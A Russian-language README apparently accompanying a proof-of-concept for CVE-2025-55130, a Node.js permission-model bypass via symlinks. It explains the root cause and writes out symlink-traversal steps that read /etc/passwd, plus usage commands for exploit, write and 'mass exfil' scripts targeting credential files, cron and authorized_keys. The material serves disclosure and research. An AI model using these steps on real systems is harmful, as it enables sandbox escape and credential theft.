CVE-2025-55130 - Обход модели разрешений Node.js через символические ссылки
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Обход модели разрешений Node.js через поддельные символические ссылки
[ Обнаружено: natann @ JFrog ]
Обзор
Уязвимость обхода пути в Node.js позволяет обойти ограничения разрешений --allow-fs-read и --allow-fs-write с помощью символических ссылок, указывающих на абсолютные пути, в сочетании с относительным обходом.
Проверка разрешений и разрешение пути выполняются отдельно. Как только начальный путь проходит проверку разрешений, символическая ссылка обрабатывается, и последовательности обхода покидают песочницу.
Затронутые версии
Технический анализ
Коренная причина
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
Модель разрешений проверяет строку пути до разрешения символической ссылки. Создавая символическую ссылку на абсолютный путь и используя обход ../ ПОСЛЕ символической ссылки, мы выходим за пределы разрешённой директории.
Схема атаки
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
Файлы
| Файл | Назначение |
|---|
exploit.js | Основной эксплойт - чтение произвольных файлов |
exploit_write.js | Запись произвольных файлов |
Использование
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Воздействие
- Чтение конфиденциальных файлов: /etc/passwd, /etc/shadow, SSH-ключи, конфиги
- Запись произвольных файлов: cron-задачи, authorized_keys, конфиги
- Побег из контейнера в мультитенантных средах
- Обход песочницы для выполнения недоверенного кода
Ссылки
Благодарности
- Уязвимость: Натан Нехорай (natann) @ JFrog Security Research
- Исправление: RafaelGSS @ Node.js
Только для исследований и авторизованного тестирования.